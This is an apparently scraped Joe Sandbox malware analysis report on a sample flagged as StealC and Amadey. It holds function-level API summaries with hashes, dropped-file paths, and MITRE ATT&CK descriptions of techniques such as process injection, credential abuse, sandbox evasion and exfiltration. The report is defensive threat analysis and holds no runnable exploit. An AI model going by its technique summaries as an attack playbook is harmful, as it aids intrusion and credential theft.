Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: fd006df6c42a1ab42b6c519e1e5e8474859f30f4ab3f896b7a6814872bde690f
Instruction ID: ed71b92461de46de11c02b6daae76c90fd7811db1a70d55caf4d27f2ad44022a
Opcode Fuzzy Hash: fd006df6c42a1ab42b6c519e1e5e8474859f30f4ab3f896b7a6814872bde690f
Instruction Fuzzy Hash: 11E0D8322843182BD2147A957C03FD97FC4CF05B50F2004E6FB88554D38FE1685046E9

Function 00B40D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00B3F7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00B40D71,?,?,?,00B2100A), ref: 00B3F7CE

IsDebuggerPresent.KERNEL32(?,?,?,00B2100A), ref: 00B40D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00B2100A), ref: 00B40D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00B40D7F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 500030b07a8e301486526886942c4fb99723154715d0928d883bb9208e228e13
Instruction ID: 252017aa793e8a5a480fb3fb7e1e17bea1358f9c14595fa97c8fc290cd350f38
Opcode Fuzzy Hash: 500030b07a8e301486526886942c4fb99723154715d0928d883bb9208e228e13
Instruction Fuzzy Hash: E1E06D706003128BD720AFBCE8047627BE0AF04740F008ABDE986C7651DBF5E5488BA1

Function 00B93017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 00B9302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00B93044

Strings

aut, xrefs: 00B93038

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 995e32d44b53364fbc97b3234dea766e015abf7554476ae8c0584cadb4c6ce8f
Instruction ID: 0ef7d97136dfc1173d2c892fe33e4d23bd8be594aef39a4852c02868e397be00
Opcode Fuzzy Hash: 995e32d44b53364fbc97b3234dea766e015abf7554476ae8c0584cadb4c6ce8f
Instruction Fuzzy Hash: 6AD05E7290032867DA20E7A5AC0EFCB3F6CDB04750F0002A1B755E30A1DEF09984CBE0

Function 00B7D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00B7D220

Strings

%.3d, xrefs: 00B7D22B
X64, xrefs: 00B7D2A8

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: f952d72a779f1e86ffc6118731ab5e79e4c7e0d628e88c4041cfa2b9957f8e3a
Instruction ID: 265d49197d017060c35d314c78bb2948b0943d7ce43eff90b0b4d36bf48d49cd
Opcode Fuzzy Hash: f952d72a779f1e86ffc6118731ab5e79e4c7e0d628e88c4041cfa2b9957f8e3a
Instruction Fuzzy Hash: 83D012A1C08109EACB9097D0DCC59B9B3FCEF08381F60C4D2F91AA2041EA24C90A6B61

Function 00BB2322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00BB232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00BB233F

Part of subcall function 00B8E97B: Sleep.KERNEL32 ref: 00B8E9F3

Strings

Shell_TrayWnd, xrefs: 00BB2325

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 8d9c7220d5a42b48d12cb8d56b398c9bb5017520ab81cdce8bf611ae3153d1da
Instruction ID: 1883f396df15217a73b716816337a5240921d5a6202b0efcad16ac7081fd1c5c
Opcode Fuzzy Hash: 8d9c7220d5a42b48d12cb8d56b398c9bb5017520ab81cdce8bf611ae3153d1da
Instruction Fuzzy Hash: 02D0A932380300B7E264B7309C0FFD66A44AB10B00F000A02B686AB0E0CAF0A800CA00

Function 00BB2356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00BB236C
PostMessageW.USER32(00000000), ref: 00BB2373

Part of subcall function 00B8E97B: Sleep.KERNEL32 ref: 00B8E9F3

Strings

Shell_TrayWnd, xrefs: 00BB2365

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: bcf90257046fb33354b9f9830d663491818dee11a8136ec147186dbb7a9aaeb0
Instruction ID: f497a344ebbaacb8b3d6781d45d946c79ae7dad888b76c1f7174340e3487906b
Opcode Fuzzy Hash: bcf90257046fb33354b9f9830d663491818dee11a8136ec147186dbb7a9aaeb0
Instruction Fuzzy Hash: EDD0C9323C1350BBE664B7719C0FFD66A54AB14B11F404A56B696AB1E0DAF0A841CA54

Function 00B5BDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 00B5BE93
GetLastError.KERNEL32 ref: 00B5BEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B5BEFC

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 0ee5b9ad0b15c53db3cf5030bd7ea19752b186227f57be63e7ef0f1a94b2712c
Instruction ID: 1622b79b35cd2d1cb848e3b37e3dcb0c775f87fa9b96d9f78aa7d789d303c9be
Opcode Fuzzy Hash: 0ee5b9ad0b15c53db3cf5030bd7ea19752b186227f57be63e7ef0f1a94b2712c
Instruction Fuzzy Hash: D841B135600216ABCB218F65CC85FBABBE5EF41312F1441E9FD59A71A1DB308D09DB60

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 8ObkdHP9Hq.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe

C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

C:\Users\user\AppData\Local\Temp\1000336001\num.exe

C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Windows Analysis Report
8ObkdHP9Hq.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre